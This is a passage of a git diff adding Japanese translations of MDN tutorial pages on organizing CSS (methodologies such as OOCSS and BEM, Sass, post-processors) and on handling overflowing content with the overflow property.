を作成するときに必要な精神的なオーバーヘッドの量が減ります。</p> + +<h3 id="Formatting_readable_CSS" name="Formatting_readable_CSS">CSS を読みやすくする</h3> + +<p>CSS がフォーマットされているのを確認するには、いくつかの方法があります。一部の開発者は、次のようにすべてのルールを1行に配置します。</p> + +<pre class="brush: css notranslate">.box { background-color: #567895; } +h2 { background-color: black; color: white; }</pre> + +<p>他の開発者はすべてを新しい行に分割することを好みます：</p> + +<pre class="brush: css notranslate">.box { + background-color: #567895; +} + +h2 { + background-color: black; + color: white; +}</pre> + +<p>CSSはどちらを使用してもかまいません。個人的には、各プロパティと値のペアを新しい行に置く方が読みやすくなっています。</p> + +<h3 id="Comment_your_CSS" name="Comment_your_CSS">CSS にコメントを書いておく</h3> + +<p>あなたの CSS にコメントを追加することは、将来の開発者があなたの CSS ファイルを使って作業する際の助けになるだけでなく、休暇の後にプロジェクトに戻ってきたときにも役立ちます。</p> + +<pre class="brush: css notranslate">/* これは CSS コメントです +複数行に分割できます。 */</pre> + +<p>ヒントとしては、スタイルシートの論理セクション間にコメントブロックを追加して、スキャンするときにさまざまなセクションをすばやく見つけられるようにしたり、CSS のその部分にジャンプするために検索するものを提供したりすることもできます。コードに表示されない文字列を使用する場合は、検索することでセクションからセクションにジャンプできます。以下では <code>||</code> を使用しています。</p> + +<pre class="brush: css notranslate">/* || 一般的なスタイル */ + +... + +/* || タイポグラフィ*/ + +... + +/* || ヘッダーとメインナビゲーション */ + +... + +</pre> + +<p>あなたのCSSにある全てのことにコメントをつける必要はありません。コメントすべきなのは、理由があって特定の決定をしたものです。</p> + +<p>古いブラウザの非互換性を回避するために、CSS プロパティを特定の方法で使用した可能性があります。例えば：</p> + +<pre class="brush: css notranslate">.box { + background-color: red; /* グラデーションをサポートしない古いブラウザのフォールバック */ + background-image: linear-gradient(to right, #ff0000, #aa0000); +} +</pre> + +<p>おそらく、何かを達成するためにチュートリアルに従ったのではないかと思いますが、CSSが少し自明ではなくなっているのではないかと思います。その場合は、コメントにチュートリアルの URL を追加することができます。1年後かそこらでこのプロジェクトに戻ってきたときに自分自身に感謝するだろうし、漠然とそのことについての素晴らしいチュートリアルがあったことを思い出すことができますが、それはどこにあるのでしょうか？</p> + +<h3 id="Create_logical_sections_in_your_stylesheet" name="Create_logical_sections_in_your_stylesheet">スタイルシートを合理的に分割する</h3> + +<p>スタイルシートで最初にすべての一般的なスタイルを設定することをお勧めします。これは、その要素で特別なことをしない限り、通常適用されるすべてのスタイルを意味します。通常、次のルールを設定します。</p> + +<ul> + <li><code>body</code></li> + <li><code>p</code></li> + <li><code>h1</code>, <code>h2</code>, <code>h3</code>, <code>h4</code>, <code>h5</code></li> + <li><code>ul</code> と <code>ol</code></li> + <li><code>table</code> プロパティ</li> + <li>リンク</li> +</ul> + +<p>スタイルシートのこのセクションでは、サイトのタイプにデフォルトのスタイルを提供したり、データテーブルとリストのデフォルトスタイルを設定したりします。</p> + +<pre class="brush: css notranslate">/* || 一般的なスタイル */ + +body { ... } + +h1, h2, h3, h4 { ... } + +ul { ... } + +blockquote { ... } +</pre> + +<p>このセクションの後で、いくつかのユーティリティクラスを定義できます。例えば、フレックスアイテムとして、または他の方法で表示するリストのデフォルトのリストスタイルを削除するクラス。多くの異なる要素に適用したいことがわかっていることがいくつかある場合、それらはこのセクションにあります。</p> + +<pre class="brush: css notranslate">/* || ユーティリティ */ + +.nobullets { + list-style: none; + margin: 0; + padding: 0; +} + +... + +</pre> + +<p>次に、サイト全体で使用されるすべてのものを追加できます。それは、基本的なページレイアウト、ヘッダー、ナビゲーションスタイルなどのようなものかもしれません。</p> + +<pre class="brush: css notranslate">/* || サイトワイド */ + +.main-nav { ... } + +.logo { ... } +</pre> + +<p>最後に、コンテキスト、ページ、またはそれらが使用されているコンポーネントで分類された特定のものの CSS を含めます。</p> + +<pre class="brush: css notranslate">/* || 店のページ */ + +.product-listing { ... } + +.product-box { ... } +</pre> + +<p>このように物事を順番に並べることで、少なくともスタイルシートのどの部分に変更したいものがあるのかを知ることができます。</p> + +<h3 id="Avoid_overly-specific_selectors" name="Avoid_overly-specific_selectors">過剰なセレクターを避ける</h3> + +<p>非常に特殊なセレクタを作成した場合、別の要素に同じルールを適用するために CSS の塊を複製する必要があることに気づくことがよくあります。例えば、以下のセレクタのようなものがあるかもしれませんが、これは <code>main</code> のクラスを持つ <code><article></code> の中の <code>box</code> のクラスを持つ <code><p></code> にルールを適用します。</p> + +<pre class="brush: css notranslate">article.main p.box { + border: 1px solid #ccc; +}</pre> + +<p>同じルールを <code>main</code> 以外のものや <code><p></code> 以外のものにも適用したい場合は、これらのルールに別のセレクタを追加するか、まったく新しいルールセットを作成しなければなりません。その代わりに、<code>box</code> というクラスを作成して、どこでも適用することができます。</p> + +<pre class="brush: css notranslate">.box { + border: 1px solid #ccc; +}</pre> + +<p>もっと具体的にすることが理にかなっている場合もありますが、これは通常の習慣ではなく、一般的に例外です。</p> + +<h3 id="Break_large_stylesheets_into_multiple_smaller_ones" name="Break_large_stylesheets_into_multiple_smaller_ones">スタイルシートが大きくなってきたら分割する</h3> + +<p>特に、サイトの異なる部分に対して非常に異なるスタイルを持っている場合には、すべてのグローバルルールを含むスタイルシートと、それらのセクションに必要な特定のルールを含む小さなスタイルシートを持ちたいと思うかもしれません。一つのページから複数のスタイルシートにリンクすることができ、カスケードの通常のルールが適用され、後からリンクされたスタイルシートのルールは前からリンクされたスタイルシートのルールの後から適用されます。</p> + +<p>例えば、サイトの一部としてオンラインストアがあり、ストアに必要な商品リストやフォームのスタイリングにのみ多くの CSS が使用されているとします。それらを別のスタイルシートにして、ストアページでのみリンクさせるのは理にかなっていると思います。</p> + +<p><span>これにより、CSS の整理が容易になります。また、複数のユーザーが CSS で作業している場合、2人が同時に同じスタイルシートで作業する必要がなくなり、ソース管理で競合が発生する可能性も少なくなります。 </span></p> + +<h2 id="Other_tools_that_can_help" name="Other_tools_that_can_help">その他の役立つツール</h2> + +<p>CSS 自体には内蔵された整理の方法があまりないので、CSS の書き方に一貫性やルールを作る作業をする必要があります。また、ウェブ・コミュニティでは、大規模な CSS プロジェクトを管理するのに役立つ様々なツールやアプローチが開発されています。これらはあなたが調べてみると役に立つかもしれませんし、他の人と一緒に作業をしているときに出くわす可能性が高いので、これらのいくつかについての簡単なガイドを載せておきます。</p> + +<h3 id="CSS_methodologies" name="CSS_methodologies">CSS の方法論</h3> + +<p>CSS を作成するための独自のルールを考え出す必要はなく、コミュニティーによってすでに設計され、多くのプロジェクトでテストされているアプローチの1つを採用することでメリットが得られる場合があります。これらの方法論は基本的に CSS のコーディングガイドであり、CSS の作成と管理に非常に構造化されたアプローチを採用しています。通常、これらの方法論では、すべてのセレクタを作成してそのプロジェクトのカスタムルールセットに最適化した場合よりも、CSS の使用が冗長になる傾向があります。</p> + +<p>しかし、1つを採用することで多くの構造を得ることができますし、これらのシステムの多くは非常に広く使われているので、他の開発者はあなたが使用しているアプローチを理解し、自分の個人的な方法論を一から作り上げるよりも、同じように CSS を書くことができる可能性が高くなります。</p> + +<h4 id="OOCSS" name="OOCSS">OOCSS</h4> + +<p>あなたが遭遇するであろうアプローチのほとんどは、<a href="https://github.com/stubbornella/oocss/wiki">Nicole Sullivan の業績</a>によって人気を博した Object Oriented CSS (OOCSS) のコンセプトに起因しています。OOCSS の基本的な考え方は、CSS を再利用可能なオブジェクトに分割し、サイト上の必要な場所で使用できるようにすることです。OOCSS の標準的な例は、<a href="/ja/docs/Web/CSS/Layout_cookbook/Media_objects">The Media Object</a> として記述されているパターンです。これは、片面に固定サイズの画像や動画などの要素を配置し、もう片面には柔軟なコンテンツを配置したパターンです。コメントやリスティングなどのウェブサイトでよく見かけるパターンです。</p> + +<p>OOCSS の手法を採用していない場合は、このパターンが使用されるさまざまな場所に対してカスタムCSSを作成することができます。たとえば、コンポーネント・パーツに対して一連のルールを持つ <code>comment</code> というクラスを作成し、次に、いくつかの小さな違いを除いて、<code>comment</code> クラスとほとんど同じルールを持つ <code>list-item</code> というクラスを作成します。これら2つのコンポーネントの違いは、list-item には下罫線があり、comment 内のイメージには罫線がありますが、list-item のイメージにはないことです。</p> + +<pre class="brush: css notranslate">.comment { + display: grid; + grid-template-columns: 1fr 3fr; +} + +.comment img { + border: 1px solid grey; +} + +.comment .content { + font-size: .8rem; +} + +.list-item { + display: grid; + grid-template-columns: 1fr 3fr; + border-bottom: 1px solid grey; +} + +.list-item .content { + font-size: .8rem; +}</pre> + +<p>OOCSS では、<code>media</code> と呼ばれる1つのパターンを作成して、両方のパターンに共通の CSSをすべて持つようにします。一般的には media オブジェクトの形状を表す基底クラスです。そして、それらの小さな違いに対応するために追加のクラスを追加して、特定の方法でスタイリングを拡張します。</p> + +<pre class="brush: css notranslate">.media { + display: grid; + grid-template-columns: 1fr 3fr; +} + +.media .content { + font-size: .8rem; +} + +.comment img { + border: 1px solid grey; +} + + .list-item { + border-bottom: 1px solid grey; +} </pre> + +<p>HTMLでは、コメントに <code>media</code> と <code>comment</code> クラスの両方を適用する必要があります。</p> + +<pre class="brush: html notranslate"><div class="media comment"> + <img /> + <div class="content"></div> +</div> +</pre> + +<p>リストアイテムは次のように <code>media</code> と <code>list-item</code> が適用されます。</p> + +<pre class="brush: html notranslate"><ul> + <li class="media list-item"> + <img /> + <div class="content"></div> + </li> +</ul></pre> + +<p>Nicole Sullivan がこのアプローチを説明し、促進するために行った作業は、今日ではOOCSS のアプローチに厳密に従っていない人でも、一般的にはこの方法で CSS を再利用することを意味します。これは、一般的に物事に取り組むための良い方法としての理解につながりました。</p> + +<h4 id="BEM" name="BEM">BEM</h4> + +<p>BEM は、Block Element Modifier の略です。BEM では、ブロックはボタン、メニュー、ロゴなどのスタンドアロンエンティティです。要素とは、リストアイテムやタイトルのようなものであり、それが入っているブロックに関連付けられています。修飾子は、スタイルや動作を変更するブロックまたは要素のフラグです。CSS クラスではダッシュとアンダースコアが多用されているため、BEM を使用するコードを認識できます。例えば、<a href="http://getbem.com/naming/">BEMの命名規則</a>に関するページから、この HTML に適用されるクラスを見てみましょう。</p> + +<pre class="brush: html notranslate"><form class="form form--theme-xmas form--simple"> + <input class="form__input" type="text" /> + <input + class="form__submit form__submit--disabled" + type="submit" /> +</form></pre> + +<p>追加のクラスは、OOCSS の例で使用されているクラスに似ていますが、BEM の厳密な命名規則を使用しています。</p> + +<p>BEM は大規模な Web プロジェクトで広く使用されており、多くの人がこの方法で CSS を作成しています。チュートリアルでさえ、CSS がこのように構造化されている理由について触れずに、BEM 構文を使用する例に出くわす可能性があります。</p> + +<p>システムの詳細については、CSS トリックの <a href="https://css-tricks.com/bem-101/">BEM 101</a> を参照してください。</p> + +<h4 id="Other_common_systems" name="Other_common_systems">その他</h4> + +<p>これらのシステムは多数使用されています。その他の一般的なアプローチには、Jonathan Snook によって作成された <a href="http://smacss.com/">CSSのスケーラブルでモジュール式のアーキテクチャ（SMACSS）</a>、Harry Roberts の <a href="https://itcss.io/">ITCSS</a>、および Yahoo! によって最初に作成された<a href="https://acss.io/"> Atomic CSS（ACSS）</a>があります。これらのアプローチのいずれかを使用するプロジェクトに遭遇した場合の利点は、同じスタイルでコーディングする方法を理解するのに役立つ多くの記事とガイドを検索して見つけることができることです。</p> + +<p>このようなシステムを使用することの欠点は、特に小規模なプロジェクトの場合、過度に複雑に見える可能性があることです。</p> + +<h3 id="Build_systems_for_CSS" name="Build_systems_for_CSS">CSS のビルドシステム</h3> + +<p>CSS を編成するもう1つの方法は、フロントエンド開発者が利用できるツールのいくつかを利用することです。これにより、CSS を書くために、よりプログラム的なアプローチを取ることができます。<em>プリプロセッサ</em>と<em>ポスト</em><em>プロセッサ</em>と呼ばれるツールは多数あります。プリプロセッサは未加工ファイルを実行してそれらをスタイルシートに変換し、ポストプロセッサは完成したスタイルシートに何かを実行します。おそらく、ロードを高速化するために最適化します。</p> + +<p>これらのツールを使用するには、開発環境で前処理と後処理を行うスクリプトを実行できる必要があります。多くのコードエディタでこれを行うことができます。または、コマンドラインツールをインストールして支援することもできます。</p> + +<p>最も人気のあるプリプロセッサは <a href="https://sass-lang.com/">Sass</a> です。これは Sass のチュートリアルではありませんので、Sass でできることを簡単に説明します。これは<span> Sass の他の機能を使っていなくても、整理する上で非常に便利です。 </span> Sass についてもっと知りたいのであれば、<a href="https://sass-lang.com/guide">Sass の基礎知識</a>の記事から始めて、他のドキュメントに進んでください。</p> + +<h4 id="Defining_variables" name="Defining_variables">変数の定義</h4> + +<p>CSS にネイティブ<a href="/ja/docs/Web/CSS/Using_CSS_custom_properties">カスタムプロパティが追加された</a>ため、この機能の重要性は低下していますが、Sass を使用する理由の1つは、プロジェクトで使用されるすべての色とフォントを設定として定義し、その変数をプロジェクトで使用できるようにすることです。これは、間違った青の色合いを使用したことがわかった場合、1つの場所で変更するだけでよいことを意味します。</p> + +<p><code>$base-color</code> 以下の最初の行のように呼び出される変数を作成した場合、その色が必要な場所であればどこでも、スタイルシートを介してその変数を使用できます。</p> + +<pre class="brush: css notranslate"><code>$base-color: #c6538c; + +.alert { + border: 1px solid $base-color; +}</code></pre> + +<p>CSS にコンパイルすると、最終的なスタイルシートには次の CSS が含まれます。</p> + +<pre class="brush: css notranslate"><code>.alert { + border: 1px solid #c6538c; +}</code></pre> + +<h4 id="Compiling_component_stylesheets" name="Compiling_component_stylesheets">コンポーネントスタイルシートのコンパイル</h4> + +<p>CSS を整理する1つの方法は、スタイルシートを小さなスタイルシートに分解することであると上記で述べました。Sass を使用すると、これを別のレベルに引き上げ、非常に小さなスタイルシートをたくさん持つことができます。コンポーネントごとに個別のスタイルシートを用意することもできます。Sass のインクルード機能を使用することで、これらすべてを1つまたは少数のスタイルシートにまとめて、実際に Web サイトにリンクできます。</p> + +<p>例えば、<a href="https://sass-lang.com/documentation/at-rules/use#partials">partial</a> を使って、ディレクトリ内にいくつかのスタイルファイル、例えば <code>foundation/_code.scss</code>、<code>foundation/_lists.scss</code>、<code>foundation/_footer.scss</code>、<code>foundation/_links.scss</code> などを作成し、Sass の <code>@use</code> ロールを使って他のスタイルシートにロードすることができます。</p> + +<pre class="brush: css notranslate">// foundation/_index.sass +@use 'code' +@use 'lists' +@use 'footer' +@use 'links'</pre> + +<p>上記のように、パーシャルがすべてインデックスファイルにロードされている場合、ディレクトリ全体を一度に別のスタイルシートにロードすることができます。</p> + +<pre class="brush: css notranslate">// style.sass +@use 'foundation'</pre> + + + +<div class="blockIndicator note"> +<p><strong>注</strong>：Sass を試す簡単な方法は、<a href="https://codepen.io">CodePen</a> を使用すること<a href="https://codepen.io">です</a>。これを有効にすると、CodePen が Sass パーサを実行してくれるので、通常の CSS を適用したウェブページを見ることができます。CSS チュートリアルでは、CodePen のデモでプレーンな CSS ではなく Sass を使用しているのを見つけることがありますので、少しでも知っておくと便利です。</p> +</div> + +<h4 id="Post-processing_for_optimization" name="Post-processing_for_optimization">ポストプロセッサー</h4> + +<p>もし、コメントや空白を大量に追加することでスタイルシートのサイズが大きくなることを気にしているのであれば、本番バージョンでは不要なものを取り除くことで CSS を最適化することが後処理のステップになります。これを実現するポストプロセッサの例としては、<a href="https://cssnano.co/">cssnano</a> があります。</p> + +<h2 id="Wrapping_up" name="Wrapping_up">まとめ</h2> + +<p>これは CSS 学習ガイドの最後の部分で、ここから CSS の探求を続けるための様々な方法があることがお分かりいただけると思います。</p> + +<p>CSS のレイアウトの詳細については、「<a href="/ja/docs/Learn/CSS/CSS_layout">CSSレイアウトの学習</a>」セクションを参照してください。</p> + +<p>また、これで <a href="/ja/docs/Web/CSS">MDN の CSS の資料</a>の残りの部分を探索するためのスキルを身につけることができます。プロパティや値を調べたり、<a href="/ja/docs/Web/CSS/Layout_cookbook">CSS クックブック</a>で使用するパターンを調べたり、<a href="/ja/docs/Web/CSS/CSS_Grid_Layout">Guide to CSS Grid Layout</a> などの特定のガイドを読んだりすることができます。</p> + +<p>{{PreviousMenu("Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/overflowing_content/index.html b/files/ja/learn/css/building_blocks/overflowing_content/index.html new file mode 100644 index 0000000000..313f2cc3b0 --- /dev/null +++ b/files/ja/learn/css/building_blocks/overflowing_content/index.html @@ -0,0 +1,132 @@ +--- +title: 要素のはみ出し（オーバーフロー） +slug: Learn/CSS/Building_blocks/Overflowing_content +tags: + - Beginner + - Block Formatting Context + - CSS + - Data Loss + - Learn + - overflow +translation_of: Learn/CSS/Building_blocks/Overflowing_content +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</div> + +<p><font><font>このレッスンでは、CSS のもう1つの重要な概念である </font></font><strong><font><font>オーバーフロー（</font></font></strong><strong><font><font>overflow）</font></font></strong><font><font>を見ていきます</font><font>。</font><font>オーバーフローは、ボックス内にコンテンツが収まりきらないときに発生します。</font><font>このガイドでは、その詳細とそれらについてどのように対処するかを学びます。</font></font></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>オーバーフローとその管理方法を理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_overflow" name="What_is_overflow">オーバーフロー (overflow) とは？</h2> + +<p><font><font>CSS のすべてがボックスであり、 </font></font>{{cssxref("width")}} <font><font>と </font></font>{{cssxref("height")}}<font><font>（または </font></font>{{cssxref("inline-size")}} や<font><font> </font></font>{{cssxref("block-size")}}<font><font>) の値を与えることにより、これらのボックスのサイズを制御できることを見てきました。</font><font>オーバーフローはボックス内のコンテンツが多すぎる場合に発生し、快適に収まらないという状態です。</font><font>CSS はこのオーバーフローを管理するためのさまざまなツールを提供しますが、早めに理解しておくと役立つ概念でもあります。</font><font>CSS を書いていると、とりわけ CSS によるレイアウトを深く理解していくにつれ、オーバーフローによく出くわします。</font></font></p> + +<h2 id="CSS_tries_to_avoid_data_loss" name="CSS_tries_to_avoid_data_loss">CSS のデータ損失の回避</h2> + +<p>オーバーフローが発生した場合の CSS の既定の動作を示す2つの例を見てみましょう。</p> + +<p>1つめの例です。まずブロックに <code>height</code> でボックスの高さを制限します。そしてそのスペースよりも多くのコンテンツを追加します。コンテンツはボックスからはみ出し、下の段落にかぶさってしまいます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/block-overflow.html", '100%', 600)}}</p> + +<p>2つめに、インラインとして制限されているボックス内の単語の例です。ボックスは単語が収まらないほど小さいため、ボックスからはみ出てしまいます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/inline-overflow.html", '100%', 500)}}</p> + +<p><font>CSS のこの既定のアプローチは、コンテンツをかなり乱雑にオーバーフローさせているように感じられるかもしれません。</font><font>追加のコンテンツを非表示にしたり、ボックスを大きくさせたりしないのはなぜなのでしょう。</font></p> + +<p>CSS は可能な限りコンテンツを隠しません。これをやってしまうと、通常は問題となりうるデータ損失が発生するためです。CSS はこのようにコンテンツが消えることを懸念します。コンテンツが消失したことに気付かない可能性があるのは問題だからです。見ている人は消えたことに気付かないかもしれません。フォーム上の送信ボタンが消えてしまい、フォームが完了できない場合それは大きな問題です。代わりに CSS は目に見える方法でオーバーフローしようとします。あなたもしくは訪問者がコンテンツが重なっているという状況に気づき、修正が必要であることを知ることができます。</p> + +<p>ボックスを <code>width</code> または <code>height</code> で制御している場合、CSS は<font>オーバーフローの可能性が管理されていると想定します。</font>一般にボックスにテキストがある場合、ブロックのサイズを制御することは問題になりがちです。例えば、想定していたよりも多くのテキストになってしまったか、フォントサイズを大きくした場合などです。 </p> + +<p><font>次のいくつかのレッスンでは、オーバーフローを起こしにくいサイジング方法を見ていきます。</font><font>固定サイズが必要な場合は、オーバーフローの動作を制御することもできます。</font><font>読み進めましょう。</font></p> + +<h2 id="The_overflow_property" name="The_overflow_property">overflow プロパティ</h2> + +<p>{{cssxref("overflow")}} プロパティは要素のオーバーフローを制御し、ブラウザにどのように動作させるかを伝えます。既定値は <code>visible</code> のため、オーバーフロー時にコンテンツは表示されます。</p> + +<p>オーバーフロー時にコンテンツをトリミングしたい場合、<code>overflow: hidden</code> をボックスに指定します。これは文字通り、はみ出たものを見えなくします。これにより内容が隠れてしまうことが起こりうるため、コンテンツが非表示になっても問題にならない場合にのみに限定した方がいいでしょう。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/hidden.html", '100%', 600)}}</p> + +<p>コンテンツのオーバーフロー時にスクロールバーを表示したいこともあるでしょう。 <code>overflow: scroll</code> を指定すればコンテンツがオーバーフローしない場合でも、ブラウザーはスクロールバーを表示します。コンテンツに応じてスクロールバーが表示されたり消えたりするのを防ぐため、これが必要な場合があります。</p> + +<p><strong><font><font>下のボックスからコンテンツの一部を削除すると、スクロールするものがなくてもスクロールバー（または少なくともトラック部品）が残っていることがわかります。</font></font></strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll.html", '100%', 600)}}</p> + +<p>上記の例では <code>y</code> 軸のスクロールバーだけがあればいいのですが、横スクロールバーも表示されてしまいます。{{cssxref("overflow-y")}} プロパティを使えば、<code>y</code> 軸のみのスクロールバーを指定できます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-y.html", '100%', 600)}}</p> + +<p>{{cssxref("overflow-x")}} を使用して、x 軸のみのスクロールバーを表示できますが、文字が見切れてしまうことの回避策としては推奨されません。小さなボックスで長い文字列を処理する場合は、{{cssxref("word-break")}} や {{cssxref("overflow-wrap")}} を検討してください。<a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a> で説明した方法のいくつかは、さまざまな量のコンテンツに適切に対応するボックスを作成するのに役立つ場合があります。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-x.html", '100%', 500)}}</p> + +<p><code>scroll</code> にしておけばコンテンツが少ないとしても、それとは関係なくスクロールバーは常に表示されます。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code>overflow</code> プロパティでは x と y の2つの値を渡すことができることに注意してください。2つのキーワードが指定されている場合、ひとつめは <code>overflow-x</code>、2つめは <code>overflow-y</code> として適用されます。それ以外の場合は <code>overflow-x</code> と <code>overflow-y</code> の両方に同じ値が設定されます。例えば、<code>overflow: scroll hidden</code> とした場合は、<code>overflow-x</code> は <code>scroll</code>、<code>overflow-y</code> は <code>hidden</code> となります。</p> +</div> + +<p>コンテンツがボックスに収まらない場合にのみ、スクロールバーを表示する場合は <code>overflow: auto</code> を使用します。<font>この場合、スクロールバーを表示するかどうかはブラウザーによります。</font><font>通常、デスクトップブラウザはコンテンツがオーバーフローする場合にのみそうします。</font></p> + +<p><strong>以下の例では、ボックスに収まるまでコンテンツを削除していくとスクロールバーが消えます。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/overflow/auto.html", '100%', 600)}}</p> + +<h2 id="Overflow_establishes_a_Block_Formatting_Context" name="Overflow_establishes_a_Block_Formatting_Context">オーバーフローとブロック整形コンテキスト</h2> + +<p>CSS には <strong>ブロック整形コンテキスト</strong> (BFC = Block Formatting Context) の概念があります。<font>これは今のところあまり気にする必要はありませんが、</font><code>scroll</code> や <code>auto</code> などのオーバーフローの設定で BFC が作成されることを知っておくと便利です。結果として <code>overflow</code> の値を変更したボックスのコンテンツは、独自のミニレイアウトになります。コンテナの外側の物は中に突っ込むことができず、ボックスから周囲のレイアウトに突き出すこともできません。これによってボックスにはすべてのコンテンツが含まれており、かつ、ページ上の他のアイテムと重ならないという、一貫したスクロール体験を生み出します。</p> + +<h2 id="Unwanted_overflow_in_web_design" name="Unwanted_overflow_in_web_design">オーバーフローの望ましくないウェブデザイン</h2> + +<p>モダンなレイアウト手法（<a href="/ja/docs/Learn/CSS/CSS_layout">CSS レイアウト</a> モジュールで説明）では、オーバーフローを管理します。これらの方法は、ウェブページ上にどれだけのコンテンツが存在するかについての仮定や依存関係なしに大きく機能します。</p> + +<p>しかし過去には開発者は多くの場合、固定された高さを使用して、実際には互いに関係のないボックスの底を揃えようとしました。<font>それは脆く、レガシーなアプリケーションでは、コンテンツが他のコンテンツに重なってしまっているのを見かけることがあります。</font><font>それによってオーバーフローが起きていることがわかります。</font><font>理想としては、ボックスサイズの固定に依存しないようにレイアウトを調整します。</font></p> + +<p>サイトを開発するときは、常にオーバーフローの問題に留意する必要があります。大量のコンテンツと少量のコンテンツを含むデザインをテストし、テキストのフォントサイズを大きくし、CSS が堅牢に対処できていると確認する必要があります。オーバーフローの値を変更してコンテンツを非表示にしたりスクロールバーを追加したりするのは、特別な場合（例えばスクロールが本当に必要な場合など）にのみ使うべきです。</p> + +<h2 id="あなたのスキルをテストしてみてください!">あなたのスキルをテストしてみてください!</h2> + +<p>このレッスンで吸収すべきことはたくさんあります！ あなたは最も重要な情報を覚えていますか？ あなたの理解度を確認するには、<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Overflow_Tasks">Test your skills: overflow</a> を参照してください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p><font>この短いレッスンではオーバーフローの概念を紹介しました。CSS はオーバーフローしたコンテンツが見えなくなることによる、データ損失の回避を試みることを理解しました。潜在的なオーバーフローを管理できること、また、問題のあるオーバーフローを引き起こしてしまわないかを確認する必要があることもわかりました。</font></p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a 